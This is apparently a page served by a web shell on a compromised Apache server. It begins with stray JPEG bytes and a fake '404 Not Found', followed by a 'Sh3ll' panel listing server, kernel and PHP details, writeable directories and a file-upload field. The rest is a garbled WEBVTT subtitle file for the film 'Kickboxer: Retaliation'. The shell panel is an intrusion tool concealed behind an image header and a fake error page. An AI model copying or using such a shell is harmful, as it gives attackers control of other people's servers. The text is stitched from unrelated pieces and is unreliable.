����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/02-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/02-2019/5c6551f02c871-1550143984.vtt
WEBVTT

1
00:07:15.067 --> 00:07:21.367
KICK BOXER: RETALIATION

2
00:07:35.721 --> 00:07:37.641
What a great opportunity
this is for Kurt Sloane,

3
00:07:37.704 --> 00:07:38.867
stepping into the last minute.

4
00:07:38.891 --> 00:07:41.819
With Hoskins out on a back injury,
this could go either way.

5
00:07:45.097 --> 00:07:47.348
At this point, Renzo, I
don't know what to expect.

6
00:07:47.548 --> 00:07:50.663
He comes, he wins, he
disappears, he's back.

7
00:07:50.763 --> 00:07:51.911
I'm completely confused.

8
00:07:52.011 --> 00:07:53.927
He looks like he means business.

9
00:07:57.073 --> 00:07:58.797
"Did you see that?"
Wow!

10
00:07:58.997 --> 00:08:00.377
Man, you gotta love this guy.

11
00:08:05.896 --> 00:08:10.933
Ladies and gentlemen,
your winner, Kurt Sloane!

12
00:08:18.483 --> 00:08:20.098
Hey everybody, we're here with
the winner, Kurt Sloane.

13
00:08:20.099 --> 00:08:22.267
Man, hell of a fight.

14
00:08:22.268 --> 00:08:24.348
I want to know, what do you
call that finishing move?

15
00:08:25.257 --> 00:08:29.035
That was like the hurricane arm bar that's
what they call it, the hurricane arm bar.

16
00:08:29.235 --> 00:08:30.820
Hurricane arm bar.
I like it, I like it.

17
00:08:30.920 --> 00:08:31.967
Congrats again.

18
00:08:44.657 --> 00:08:48.916
When I went down...
I must have blacked out.

19
00:08:50.629 --> 00:08:52.863
Don't ever scare me like that again.

20
00:08:54.500 --> 00:08:58.896
I had this dream.
It's really strange.

21
00:09:18.557 --> 00:09:20.722
Promise you'll never leave me.

22
00:09:21.560 --> 00:09:22.918
I promise.

23
00:09:36.642 --> 00:09:38.577
Got a limo waiting for us out front...

24
00:09:38.578 --> 00:09:39.577
with full bar.

25
00:09:39.578 --> 00:09:41.512
Let me grab a shower and
I'll meet you there.

26
00:09:41.513 --> 00:09:42.802
Okay.

27
00:10:21.653 --> 00:10:25.855
Kurt Sloane?
US Marshall services.

28
00:10:28.427 --> 00:10:29.785
What can I do for you?

29
00:10:30.496 --> 00:10:36.634
I don't know. Um... you could
come along quietly, I guess.

30
00:10:36.635 --> 00:10:38.636
What for?

31
00:10:38.637 --> 00:10:41.906
Apparently, tough guy,
you killed someone.

32
00:10:53.419 --> 00:10:54.845
This is for Eric.

33
00:10:58.690 --> 00:11:00.658
Maybe you forgot.

34
00:11:00.659 --> 00:11:05.726
About 18 months
ago over in Thailand? No?

35
00:11:07.433 --> 00:11:08.825
That was self-defense.

36
00:11:09.668 --> 00:11:11.702
Ah. Well, that's good.

37
00:11:12.103 --> 00:11:15.103
That's the kind of stuff that you want
to tell the judge once you get there.

38
00:11:16.442 --> 00:11:18.082
We were just told about
getting you there.

39
00:11:19.545 --> 00:11:20.903
Can I see that badge again?

40
00:11:21.513 --> 00:11:22.837
Sure.

41
00:12:08.660 --> 00:12:10.757
Welcome back.

42
00:12:15.967 --> 00:12:20.802
Shock and aw!
Just like you feeling now!

43
00:12:23.542 --> 00:12:26.902
The man who killed Tong Po.

44
00:12:31.416 --> 00:12:37.787
The odds for an American
beach boy were astronomical.

45
00:12:40.359 --> 00:12:42.950
You will be joining with
him in hell shortly.

46
00:12:43.428 --> 00:12:44.917
Maybe.

47
00:12:47.733 --> 00:12:50.768
What I need it was for
you to take his place.

48
00:12:50.769 --> 00:12:55.972
As the next big attraction.
That would have been...

49
00:12:56.842 --> 00:12:59.677
but you left Thailand.

50
00:13:01.847 --> 00:13:08.895
Today is when you find out...
It doesn't work that way, does it?

51
00:13:09.095 --> 00:13:12.690
It is time for you to defend your title.

52
00:13:12.691 --> 00:13:16.154
In another fight to the death.
Don't you think?

53
00:13:16.695 --> 00:13:18.121
Never again.

54
00:13:30.709 --> 00:13:33.000
You are not smart enough to let me go.

55
00:13:38.884 --> 00:13:42.017
You touch me again,
and I will break your nose.

56
00:13:55.667 --> 00:13:57.958
The sense of humor.

57
00:14:01.706 --> 00:14:02.995
Stop!

58
00:14:14.653 --> 00:14:16.045
This guy.

59
00:14:16.688 --> 00:14:19.115
One more fight to death.

60
00:14:19.658 --> 00:14:21.725
Against the current champion.

61
00:14:21.726 --> 00:14:25.154
That's all I am asking! "Voila"!

62
00:14:54.626 --> 00:14:57.087
Step in to the ring with Mongkut.

63
00:14:57.863 --> 00:15:02.065
I will pay you 1 million American dollars.

64
00:15:04.669 --> 00:15:06.937
Tax-free.

65
00:15:07.639 --> 00:15:10.066
Or you spend the rest
of your life in prison.

66
00:15:13.879 --> 00:15:16.814
Without the possibility
of ever getting out.

67
00:15:16.815 --> 00:15:21.785
Just remember, the man in this
prison loved Tong Po.

68
00:15:21.786 --> 00:15:25.112
They know who you are.
Surprises and fears.

69
00:17:13.632 --> 00:17:15.024
They are making a move on you.

70
00:17:22.774 --> 00:17:24.166
I got this.

71
00:17:31.850 --> 00:17:34.050
You better call the prison doctor.

72
00:17:34.853 --> 00:17:38.088
Tell him there is three
broken ribs and a punctured lung.

73
00:17:40.459 --> 00:17:44.190
Dislocated jaw and a broken nose.

74
00:22:18.670 --> 00:22:21.131
That was not too good, was it?

75
00:22:21.673 --> 00:22:26.933
One day in the general population
and already in some sort of trouble.

76
00:22:28.880 --> 00:22:35.141
You are not going to make it, Mr Sloane.
At least not like this.

77
00:22:36.033 --> 00:22:40.757
Behind these walls,
you will have fight to the death everyday.

78
00:22:42.358 --> 00:22:45.051
So why not just take the money?

79
00:22:46.431 --> 00:22:49.092
When you'll agree to fight for me,

80
00:22:49.600 --> 00:22:54.064
You will instantly call from
choking on your own vomit.

81
00:22:54.239 --> 00:22:59.967
To comfort well, and provocative
sensual amusement.

82
00:23:06.784 --> 00:23:08.073
Kurt.

83
00:23:09.854 --> 00:23:15.057
Are you in there?
You with me on this?

84
00:23:15.760 --> 00:23:21.020
When you were kid,
did you get your ass kicked much?

85
00:23:24.602 --> 00:23:26.995
You look so much better with
that nose I give you.

86
00:23:29.874 --> 00:23:34.907
I do love your spirit.
I hate to waste it.

87
00:23:41.786 --> 00:23:46.989
Can you believe she actually
sent me this picture?

88
00:23:49.794 --> 00:23:51.959
Wow, that's crazy!

89
00:24:15.520 --> 00:24:16.820
- Hello?
- Honey, it's me.

90
00:24:16.821 --> 00:24:18.855
Kurt. Where... where are you?
What happened?

91
00:24:18.856 --> 00:24:20.857
- I've been going crazy here.
- I've been kidnapped.

92
00:24:20.858 --> 00:24:22.389
I am outside of Bangkok in a prison.

93
00:24:22.589 --> 00:24:26.129
Kidnapped? Kurt!
Where are you?

94
00:25:34.699 --> 00:25:36.733
You interrupted my meditation.

95
00:25:36.734 --> 00:25:39.935
Meditation, really?
Does that help you to stay calm?

96
00:25:42.707 --> 00:25:44.875
I'm calm. Very calm.

97
00:25:44.876 --> 00:25:46.939
I guess not.

98
00:27:48.599 --> 00:27:51.094
I keep my fist fast and hard.

99
00:27:51.669 --> 00:27:54.028
Ready to break anything that it hits.

100
00:28:57.768 --> 00:29:02.772
What is important that could not
be said at the police station.

101
00:29:02.969 --> 00:29:04.793
I do not feel safe
at the police station.

102
00:29:04.993 --> 00:29:06.465
What could possibly be safer than that?

103
00:29:06.489 --> 00:29:07.555
I need your help.

104
00:29:08.212 --> 00:29:10.542
A few years ago, when you were a cop
you investigated us.

105
00:29:11.149 --> 00:29:13.440
And now you want our help?

106
00:29:14.018 --> 00:29:17.185
Tell me where my husband is.
Here's the payment.

107
00:29:23.427 --> 00:29:25.530
He is being held at the
northern jail facility

108
00:29:26.019 --> 00:29:27.215
for the murder of Tong Po.

109
00:29:27.323 --> 00:29:31.568
- Who is responsible for this?
- Thomas Tang more, a fight promoter.

110
00:29:33.504 --> 00:29:37.093
You did not hear that from me.

111
00:29:37.193 --> 00:29:38.677
Get him released.

112
00:29:38.777 --> 00:29:40.571
You do not have that much money.

113
00:29:46.696 --> 00:29:49.565
Follow her.
Tell me where she goes.

114
00:30:06.037 --> 00:30:09.329
That's the way they have implemented
the attitude adjustment.

115
00:30:16.114 --> 00:30:20.077
I want what you got.
You took the lash without a whimper.

116
00:30:20.684 --> 00:30:22.008
Over here.

117
00:30:25.790 --> 00:30:29.958
Every day I want you to come
down here and grab this plant.

118
00:30:33.831 --> 00:30:35.865
Deaden the nerves.

119
00:30:35.866 --> 00:30:37.834
Put it on your back at night.

120
00:30:37.835 --> 00:30:40.069
The rest will have to do with your mind.

121
00:30:55.786 --> 00:30:57.887
- Can you walk?
- Maybe.

122
00:30:57.888 --> 00:31:00.207
C'mon. Behind the wall.

123
00:31:00.407 --> 00:31:03.159
You will never fight the same way again.
Trust me.

124
00:31:53.677 --> 00:31:55.001
Durand.

125
00:32:02.252 --> 00:32:03.881
Kurt.

126
00:32:09.827 --> 00:32:11.151
What are you doing here?

127
00:32:11.762 --> 00:32:13.663
Training fighters.

128
00:32:13.664 --> 00:32:14.764
Here? Why?

129
00:32:14.765 --> 00:32:18.768
Because I was accused to participate
in the murder of Tong Po.

130
00:32:18.769 --> 00:32:20.127
Can you believe that?

131
00:32:20.738 --> 00:32:22.538
And also I wont give you up.

132
00:32:22.740 --> 00:32:27.977
So Mr. Moore blind me.

133
00:32:28.846 --> 00:32:32.013
Don't get sentimental.
It is a blessing.

134
00:32:36.620 --> 00:32:37.754
How is any of this a blessing?

135
00:32:37.755 --> 00:32:41.658
Being able to use my sense
without the eyes...

136
00:32:41.659 --> 00:32:45.087
It's a blessing. Being able to know the
answer before the question.

137
00:32:45.829 --> 00:32:47.892
It's a blessing..

138
00:32:53.804 --> 00:32:55.969
Don't look in my eyes.

139
00:33:01.879 --> 00:33:03.942
You are not alone.

140
00:33:09.687 --> 00:33:12.979
After 2 weeks we have made
absolutely no progress.

141
00:33:14.658 --> 00:33:18.695
Yeah, we have to find a way to act this up.

142
00:33:18.696 --> 00:33:21.931
And see our adamant and condition to fight.

143
00:33:22.366 --> 00:33:24.901
We can all, dismay him later...

144
00:33:25.102 --> 00:33:28.035
Once we get bored with this.

145
00:33:30.708 --> 00:33:33.033
Are you ready to listen to me now?

146
00:33:33.844 --> 00:33:38.012
I know this guy.
I know how to break him.

147
00:33:48.892 --> 00:33:51.894
Hey. You rang?

148
00:33:51.895 --> 00:33:53.830
Thanks for coming.

149
00:33:53.831 --> 00:33:56.799
Are you kidding?

150
00:33:56.800 --> 00:33:59.068
So what have you been doing?

151
00:33:59.670 --> 00:34:02.131
Working for a private investigator,

152
00:34:02.406 --> 00:34:05.033
looking for deadbeat dads.

153
00:34:05.909 --> 00:34:08.040
I'm looking for my husband.

154
00:34:12.750 --> 00:34:14.817
I think he's in the northern jail.

155
00:34:14.818 --> 00:34:16.786
I also need you to get to the kidnapper.

156
00:34:16.787 --> 00:34:19.078
This guy's name is
Thomas Tang Moore.

157
00:34:19.723 --> 00:34:21.957
I know he's got more
money than God.

158
00:34:22.826 --> 00:34:25.094
Well, it's not about the ransom money.

159
00:34:25.429 --> 00:34:26.796
Let me keep over some stats.

160
00:34:26.797 --> 00:34:28.798
I'll meet you back here in two hours.

161
00:34:28.799 --> 00:34:30.191
Okay. thanks.

162
00:34:30.768 --> 00:34:33.059
Don't worry.
We'll find him!

163
00:35:12.710 --> 00:35:14.170
My man Kurt Sloane.

164
00:35:23.320 --> 00:35:25.114
I still owe you two broken ribs.

165
00:35:25.422 --> 00:35:29.859
I may have deserved that.
But I am just here to talk to you.

166
00:35:29.860 --> 00:35:31.923
The answer is still no.

167
00:35:32.429 --> 00:35:33.987
Is it now?

168
00:35:35.733 --> 00:35:39.935
In that case, I have something
you might want to see.

169
00:35:50.681 --> 00:35:51.714
If you touch her...

170
00:35:51.715 --> 00:35:53.355
I am not the one you have to worry about.

171
00:35:53.617 --> 00:35:55.077
You know what he wants.

172
00:36:02.726 --> 00:36:08.896
Now... are you willing
to talk to Mr Moore?

173
00:36:24.681 --> 00:36:26.141
Did you just say yes?

174
00:36:26.817 --> 00:36:28.141
Yeah.

175
00:36:30.421 --> 00:36:31.854
What else they can do to you?

176
00:36:31.855 --> 00:36:33.918
They got my wife.

177
00:36:40.697 --> 00:36:43.989
I am so excited about the fight.

178
00:36:44.668 --> 00:36:48.904
This is a fight
I will pay to see.

179
00:36:49.406 --> 00:36:51.168
Well, obviously.

180
00:36:52.743 --> 00:36:54.169
I have my conditions.

181
00:36:57.681 --> 00:37:02.318
You may not have any contact
with her or anyone else...

182
00:37:02.319 --> 00:37:03.943
until the fight.

183
00:37:04.655 --> 00:37:08.118
But we can show you
she's very well cared for.

184
00:37:08.692 --> 00:37:09.792
If anybody hurts her...

185
00:37:09.793 --> 00:37:13.796
We die! We all die!
You die!

186
00:37:13.797 --> 00:37:15.928
Not you. You...

187
00:37:43.660 --> 00:37:45.120
You have to feel yourself.

188
00:37:49.433 --> 00:37:51.025
The air moves.

189
00:37:53.637 --> 00:37:54.992
Before it moves.

190
00:37:56.821 --> 00:37:58.146
Because...

191
00:38:00.844 --> 00:38:02.312
You are him.

192
00:38:03.521 --> 00:38:05.774
Use his force as yours.

193
00:38:06.850 --> 00:38:08.981
Anticipation.

194
00:38:11.322 --> 00:38:13.082
Hidden anticipation.

195
00:38:52.796 --> 00:38:54.648
No, put your weight behind.

196
00:38:54.799 --> 00:38:57.896
That, come on.

197
00:39:01.738 --> 00:39:03.972
You gotta get past him first.

198
00:39:06.777 --> 00:39:08.942
Have faith in your ability.

199
00:39:16.853 --> 00:39:19.178
Tell me when you start to feel
it coming close to you.

200
00:39:22.993 --> 00:39:24.299
Now.

201
00:39:24.399 --> 00:39:25.923
Take off the blind fold.

202
00:39:28.598 --> 00:39:30.058
Too late to do anything.

203
00:39:42.813 --> 00:39:44.944
Well that didn't work.

204
00:39:45.649 --> 00:39:46.849
How is your training going?

205
00:39:46.850 --> 00:39:48.174
He's getting it.

206
00:39:48.318 --> 00:39:51.292
Oh, yeah? Maybe he'll
never get it, you know?

207
00:39:51.392 --> 00:39:52.688
Oh, he got it in him.

208
00:39:52.689 --> 00:39:55.150
Listen, Briggs.
I know his skills.

209
00:39:55.792 --> 00:39:57.727
And he may never be that good.

210
00:39:57.728 --> 00:40:00.863
He will beat Mongkut.
Guaranteed.

211
00:40:00.864 --> 00:40:02.798
You mention Mongkut one more time,

212
00:40:02.799 --> 00:40:04.767
then I'll smash your big face.

213
00:40:04.768 --> 00:40:06.126
Oh really?

214
00:40:49.746 --> 00:40:50.813
Do you see what I mean?

215
00:40:50.814 --> 00:40:52.172
He is blind as a bat.

216
00:40:54.751 --> 00:40:56.143
No more jail!

217
00:40:56.787 --> 00:41:03.087
You will train in the comfort
of my luxurious suburb compound.

218
00:41:06.797 --> 00:41:11.056
So just sit back and enjoy the ride.

219
00:41:13.770 --> 00:41:15.704
I need my trainer, Durand.

220
00:41:15.705 --> 00:41:17.973
And I still need to train
with my prison crew.

221
00:41:18.708 --> 00:41:21.169
I am here to help.
Done!

222
00:41:21.812 --> 00:41:23.645
I'll need a field trip
for and exhibition fight

223
00:41:23.646 --> 00:41:24.946
when I am ready.

224
00:41:26.750 --> 00:41:28.915
I love this guy.

225
00:41:55.679 --> 00:41:56.912
You have to start the training.

226
00:41:56.913 --> 00:41:58.848
Start?
Start.

227
00:41:58.849 --> 00:42:05.149
Start the focus.
And to forget everything else.

228
00:42:07.757 --> 00:42:09.081
It's kind of hard.

229
00:42:09.759 --> 00:42:11.827
They kidnapped your wife.

230
00:42:11.828 --> 00:42:16.064
You have to fight big monster.

231
00:42:16.633 --> 00:42:17.991
Let's laugh about it.
Ha ha.

232
00:42:20.704 --> 00:42:24.167
Let's go back to the
business and get focused.

233
00:42:25.775 --> 00:42:30.102
Your strength against its weakness.

234
00:42:31.615 --> 00:42:36.978
It's your speed and your flexibility.
Dexterity.

235
00:42:42.626 --> 00:42:43.726
What's his weakness?

236
00:42:43.727 --> 00:42:45.961
That's a good question, Kurt.

237
00:42:47.764 --> 00:42:49.899
I would like to see Mongkut training.

238
00:42:49.900 --> 00:42:53.636
How do you see anything?
You are blind.

239
00:42:53.637 --> 00:42:57.100
Well, then you have nothing to worry about.
I just want to see him..

240
00:43:07.717 --> 00:43:09.177
Meet Mongkut.

241
00:43:09.719 --> 00:43:12.039
State of the art miracle of
bioengineering killing machine.

242
00:43:13.924 --> 00:43:17.693
A fighter bred from generation of fighters.

243
00:43:17.694 --> 00:43:20.087
With the top modern chemistry.

244
00:43:23.767 --> 00:43:28.197
By the sound of his breathing, he sound
like a rhinoceros. Right?

245
00:43:30.807 --> 00:43:34.777
His handler graduated
Cambridge top of his class.

246
00:43:34.778 --> 00:43:39.014
Went right to work for Mr Moore
for mil a year.

247
00:43:45.955 --> 00:43:47.790
What is he doing?

248
00:43:47.791 --> 00:43:49.792
An adrenaline cocktail.

249
00:43:49.793 --> 00:43:52.118
This is not the way.
You know this.

250
00:43:52.862 --> 00:43:57.800
There is no drug testing for
illegal underground fights right?

251
00:43:57.801 --> 00:44:02.094
This is not the martial art.
It's not the truth.

252
00:44:27.864 --> 00:44:31.667
Mongkut is a superior
human specimen.

253
00:44:31.668 --> 00:44:33.869
Greater faster.

254
00:44:33.870 --> 00:44:36.934
Stronger than any human being
on the planet.

255
00:44:57.093 --> 00:44:59.889
Everything okay with your champion?

256
00:45:00.497 --> 00:45:02.089
Oh, yeah. He is fine.

257
00:45:02.599 --> 00:45:04.123
Oh yeah.

258
00:45:49.679 --> 00:45:51.139
Let Kurt live.

259
00:45:53.817 --> 00:45:55.141
I beg you.

260
00:45:59.856 --> 00:46:05.059
What about this?
I fight Mongkut instead of Kurt.

261
00:46:07.697 --> 00:46:09.157
Well, it will be exciting, no?

262
00:46:09.632 --> 00:46:12.025
That would be exciting.

263
00:46:12.469 --> 00:46:13.902
You got quite a follow on.

264
00:46:13.903 --> 00:46:15.966
This is true.

265
00:46:17.440 --> 00:46:20.067
One problem. You are blind.

266
00:46:36.693 --> 00:46:37.860
Maybe blind..

267
00:46:37.861 --> 00:46:40.829
With the sensation I can see
ugliest man in the world.

268
00:46:40.830 --> 00:46:43.155
The strongest man in the world.

269
00:46:52.809 --> 00:46:54.843
Yes, of course, forgive me.

270
00:46:54.844 --> 00:46:58.881
But to see blind men fighting...
will make a fortune. No?

271
00:46:58.882 --> 00:47:02.151
That is a really exciting prospect.

272
00:47:02.719 --> 00:47:06.011
But of course, I don't
really need the money.

273
00:47:15.899 --> 00:47:17.996
Cancel this fight.

274
00:47:18.668 --> 00:47:22.927
You really thought you could
appeal to my better nature...?

275
00:47:24.441 --> 00:47:25.999
Good bye.

276
00:48:12.455 --> 00:48:16.083
You have to learn how to fly.

277
00:48:39.682 --> 00:48:41.783
The strongest man
does not always win.

278
00:48:41.784 --> 00:48:44.018
But the smartest one does.

279
00:48:55.698 --> 00:48:57.056
Not bad.

280
00:49:24.093 --> 00:49:25.888
Thanks.

281
00:49:26.829 --> 00:49:29.865
- I am a friend of Liu's.
- What?

282
00:49:29.866 --> 00:49:31.800
She told me you're here.

283
00:49:31.801 --> 00:49:35.002
And they took her.
I am here to help you.

284
00:49:39.742 --> 00:49:41.942
Okay. Higher than that.

285
00:49:43.446 --> 00:49:45.038
High. Kick high.

286
00:49:48.418 --> 00:49:50.686
Higher than that.
He's 6 feet 10. C'mon.

287
00:49:50.687 --> 00:49:52.147
Higher. Again.

288
00:50:01.698 --> 00:50:03.898
He will kill you in a second.

289
00:50:04.634 --> 00:50:06.196
Death has its benefits.

290
00:50:06.769 --> 00:50:08.470
You will save a lots of expenses.

291
00:50:08.471 --> 00:50:12.310
- I killed Tong Po!
- Mongkut is four times Tong Po, Kurt.

292
00:50:17.179 --> 00:50:18.416
You will lose.

293
00:50:25.722 --> 00:50:27.148
There might be another way.

294
00:50:27.857 --> 00:50:30.990
All I need is the third guy
to cause the disturbance.

295
00:50:45.808 --> 00:50:47.075
Well done.

296
00:50:49.646 --> 00:50:52.005
Hey. You smoke?
Yeah, sure.

297
00:51:02.892 --> 00:51:04.989
We just caught a break.

298
00:51:05.728 --> 00:51:07.996
New guard over there.
He knows where she is.

299
00:51:08.665 --> 00:51:10.225
The dragon on his arm
it's in the video.

300
00:51:10.867 --> 00:51:11.900
We got to go now.

301
00:51:11.901 --> 00:51:14.192
Do this thing tonight while
he's on duty.

302
00:51:22.645 --> 00:51:24.003
Time for that field trip.

303
00:51:24.681 --> 00:51:26.915
I have to clear with Mr Moore.

304
00:51:29.686 --> 00:51:31.044
I get on that.

305
00:52:05.788 --> 00:52:07.077
The money.

306
00:53:01.811 --> 00:53:06.172
Master Durand! It's always good
to see you again, my friend.

307
00:53:06.216 --> 00:53:07.883
King.

308
00:53:07.884 --> 00:53:11.653
I know you.
Kurt Sloane, isn't it?

309
00:53:11.654 --> 00:53:15.724
Yeah, I remember you from the awful
shackling you took last time you were here.

310
00:53:15.725 --> 00:53:16.758
That's right.

311
00:53:16.759 --> 00:53:19.084
Yeah, I trust you never try that again huh?

312
00:53:21.631 --> 00:53:23.832
You know, Joseph King by name...

313
00:53:23.833 --> 00:53:25.700
Joe king by nature.

314
00:53:25.701 --> 00:53:27.935
Ah, you've heard that before.

315
00:53:29.639 --> 00:53:34.776
So, word on the street has it
that you're fighting Mongkut.

316
00:53:34.777 --> 00:53:36.845
Have you always been suicidal?

317
00:53:36.846 --> 00:53:41.014
Do me a favor. Can he
fight your fighter?

318
00:53:43.853 --> 00:53:47.054
So you are back to get your ass kicked huh?

319
00:53:47.323 --> 00:53:51.017
Well, I will have to see
your money first friend.

320
00:53:51.794 --> 00:53:53.118
Money.

321
00:53:58.835 --> 00:54:00.124
Thank you.

322
00:54:00.803 --> 00:54:05.707
Holy molly, look at that!
Easy money just walked in the door!

323
00:54:05.708 --> 00:54:08.810
Again, come with me.

324
00:54:08.811 --> 00:54:10.345
Hold on.

325
00:54:12.005 --> 00:54:15.618
Remember, we are
not here for that.

326
00:54:15.818 --> 00:54:16.852
Yeah.

327
00:54:16.853 --> 00:54:19.121
- Be careful.
- I got this.

328
00:54:19.889 --> 00:54:25.957
Ladies and Gentlemen, we
have a brand new challenger.

329
00:54:26.629 --> 00:54:28.763
Well, technically
he's an old challenger

330
00:54:28.764 --> 00:54:30.799
with suicidal tendencies.

331
00:54:30.800 --> 00:54:35.770
Let's welcome this misguided
unfortunate soul.

332
00:54:35.771 --> 00:54:38.972
Kurt Sloane, ladies and gentlemen.

333
00:54:39.876 --> 00:54:42.677
A brave young warrior.

334
00:54:42.678 --> 00:54:46.815
Willing to risk it all, to last
just 2 minutes in the ring.

335
00:54:46.816 --> 00:54:50.852
With the one and only soul survivor.

336
00:54:50.853 --> 00:54:53.822
The beast. The Widow maker.

337
00:54:53.823 --> 00:54:58.150
The bringer of pain, Moss.

338
00:55:32.662 --> 00:55:36.056
I hate violence.
I need to go to the bathroom.

339
00:55:46.776 --> 00:55:48.134
I need your phone.

340
00:55:49.612 --> 00:55:50.970
I need the phone.

341
00:56:25.848 --> 00:56:29.049
Travis.
"Daddy, is that you?"

342
00:56:59.616 --> 00:57:01.684
Wait, the fight's over.

343
00:57:02.185 --> 00:57:05.887
Kurt wins.
Nice bloody skill.

344
00:57:06.388 --> 00:57:09.202
You come here once and make
an utter fool of yourself

345
00:57:09.269 --> 00:57:14.118
and then come back to mop the floor
with my best fighter? Come here.

346
00:57:18.200 --> 00:57:19.929
My take.

347
00:57:22.738 --> 00:57:25.199
The next time we
should to be partners.

348
00:57:25.841 --> 00:57:27.938
Maybe next time.

349
00:57:30.345 --> 00:57:32.045
I guess all the training paid off.

350
00:57:41.757 --> 00:57:43.183
Where the fuck is that bullshit?

351
00:57:46.629 --> 00:57:48.954
Move, move, move!
Move, move, move!

352
00:58:11.821 --> 00:58:13.884
Long time pops.

353
00:58:14.123 --> 00:58:17.892
He's my son, Travis.
Time to go.

354
00:58:17.993 --> 00:58:20.542
Go save your wife.
Trust me. I will take care of them.

355
00:58:20.642 --> 00:58:22.891
- Come on, let's go.
- Go, go.

356
00:58:39.348 --> 00:58:40.748
Where the hell are we going?

357
00:58:40.749 --> 00:58:43.885
That's up to you.
You know where she is.

358
00:58:43.886 --> 00:58:46.051
I know where Liu is.

359
00:58:46.856 --> 00:58:50.692
You are standing right next to
in the video. Where is she?

360
00:58:50.693 --> 00:58:52.153
What is this about?

361
00:58:59.668 --> 00:59:01.903
All right, listen.
Let's go to the river.

362
00:59:01.904 --> 00:59:03.899
North Row!

363
00:59:05.674 --> 00:59:06.963
Aye aye.

364
00:59:35.804 --> 00:59:37.093
What?

365
01:05:00.762 --> 01:05:03.898
So... how many guys
hiding behind this cars?

366
01:05:03.899 --> 01:05:05.666
I am telling you, this is it.

367
01:05:05.667 --> 01:05:06.767
No more bullshit.

368
01:05:06.768 --> 01:05:08.736
Let me go, I will show you.

369
01:05:08.737 --> 01:05:10.505
You're gonna need me to get in anyway.

370
01:05:10.506 --> 01:05:12.940
You might wanna start being
a little more specific.

371
01:05:15.711 --> 01:05:17.879
- Where are we going?
- Penthouse, top floor.

372
01:05:17.880 --> 01:05:19.977
ACCESS GRANTED.

373
01:05:23.652 --> 01:05:26.079
You are gonna regret this one.
I'm telling you this man.

374
01:10:54.883 --> 01:10:56.172
Go.

375
01:11:00.689 --> 01:11:03.116
Put your gun down.
Drop your knife.

376
01:11:25.714 --> 01:11:26.847
You okay?
Yes, I'm okay.

377
01:11:27.148 --> 01:11:28.828
- Are you sure? You okay?
- Yeah, I'm fine.

378
01:11:29.017 --> 01:11:30.106
She can shoot.

379
01:11:30.785 --> 01:11:32.074
Let's go.

380
01:11:49.871 --> 01:11:51.900
Put him down.

381
01:12:11.726 --> 01:12:13.166
Do you know, you should not be here?

382
01:12:31.613 --> 01:12:33.073
No!

383
01:12:40.855 --> 01:12:42.986
Honey, wake up! Honey!

384
01:12:43.692 --> 01:12:46.760
Honey, wake up.
Wake up.

385
01:12:46.761 --> 01:12:48.119
Call an ambulance!

386
01:12:48.797 --> 01:12:51.930
Call an ambulance! Right now!

387
01:12:55.837 --> 01:12:59.004
Wake up, wake up.
Please, wake up.

388
01:13:03.211 --> 01:13:06.613
You will tell Moore I will fight that
son of a bitch anytime anywhere.

389
01:13:32.674 --> 01:13:37.878
They told me that...
if she comes out of that coma...

390
01:13:37.879 --> 01:13:42.081
What is this if?
Don't even think about it.

391
01:14:10.678 --> 01:14:13.071
I don't believe in church...

392
01:14:15.817 --> 01:14:21.953
but I pray like a fool
for you to come back.

393
01:14:23.858 --> 01:14:27.059
He loves the you. He needs you.

394
01:14:50.718 --> 01:14:52.007
Kurt?

395
01:14:52.787 --> 01:14:54.111
God.

396
01:15:01.796 --> 01:15:03.085
You scared me.

397
01:15:04.833 --> 01:15:06.930
Now you know how I feel.

398
01:15:13.808 --> 01:15:15.132
I am gonna fight him.

399
01:15:17.812 --> 01:15:19.079
I know.

400
01:15:23.718 --> 01:15:25.076
So what's his weakness?

401
01:15:32.760 --> 01:15:34.084
A glass jaw.

402
01:15:35.763 --> 01:15:41.702
When you have his heart racing,
you make your move.

403
01:15:41.703 --> 01:15:43.868
But the timing has to be perfect.

404
01:15:44.339 --> 01:15:45.928
So what's the move.

405
01:15:47.775 --> 01:15:51.044
The kill-shot, right to the jaw.

406
01:16:29.651 --> 01:16:31.919
Ladies and gentlemen.

407
01:16:32.854 --> 01:16:37.989
Welcome to the original
Muay Thai temple.

408
01:16:38.893 --> 01:16:44.062
It all started here, over
two thousand years ago.

409
01:16:44.766 --> 01:16:49.059
The villagers sent their
children here to study.

410
01:16:50.905 --> 01:16:55.938
And the teachers were masters
of martial arts.

411
01:16:57.812 --> 01:17:02.139
And all the spirits of
all the Muay Thai fighters...

412
01:17:02.784 --> 01:17:06.787
...were taught here,
and fought here.

413
01:17:06.788 --> 01:17:10.114
And found their mastery here.

414
01:17:11.826 --> 01:17:16.893
Their spirits are here with us tonight!

415
01:17:24.639 --> 01:17:27.874
Ladies and gentlemen.
I would like to bring out the man...

416
01:17:27.875 --> 01:17:30.844
who bought us the biggest upset ever.

417
01:17:30.845 --> 01:17:35.349
And I was so amazed
in the fighter's ability.

418
01:17:35.350 --> 01:17:41.822
To withstand the punishment...
and waited for his moment.

419
01:17:41.823 --> 01:17:45.957
Some say it must be luck.

420
01:17:48.796 --> 01:17:50.893
Kurt Sloane!

421
01:18:26.801 --> 01:18:31.905
But today we will find out
if that luck holds.

422
01:18:31.906 --> 01:18:36.939
Because here tonight,
to avenge the mighty Tong Po...

423
01:18:37.612 --> 01:18:43.043
weighing at 400 pounds...

424
01:18:43.785 --> 01:18:47.179
He has killed over 20
opponents in the ring.

425
01:18:47.755 --> 01:18:49.823
Let's here for the man of the hour..

426
01:18:49.824 --> 01:18:52.991
The biggest man of any hour...

427
01:18:53.695 --> 01:18:58.022
One and only... Mongkut!

428
01:19:08.743 --> 01:19:14.140
Mongkut! Mongkut! Mongkut!
Mongkut! Mongkut! Mongkut!

429
01:19:14.649 --> 01:19:18.942
Mongkut! Mongkut!

430
01:19:55.823 --> 01:20:01.083
An application was downloaded
on your cellphone.

431
01:20:01.662 --> 01:20:04.123
You can not bet
during fight hours.

432
01:20:04.532 --> 01:20:08.835
At the end of each round,
you can place another bet.

433
01:20:08.836 --> 01:20:14.073
But you cannot change
the original bets. Clear?

434
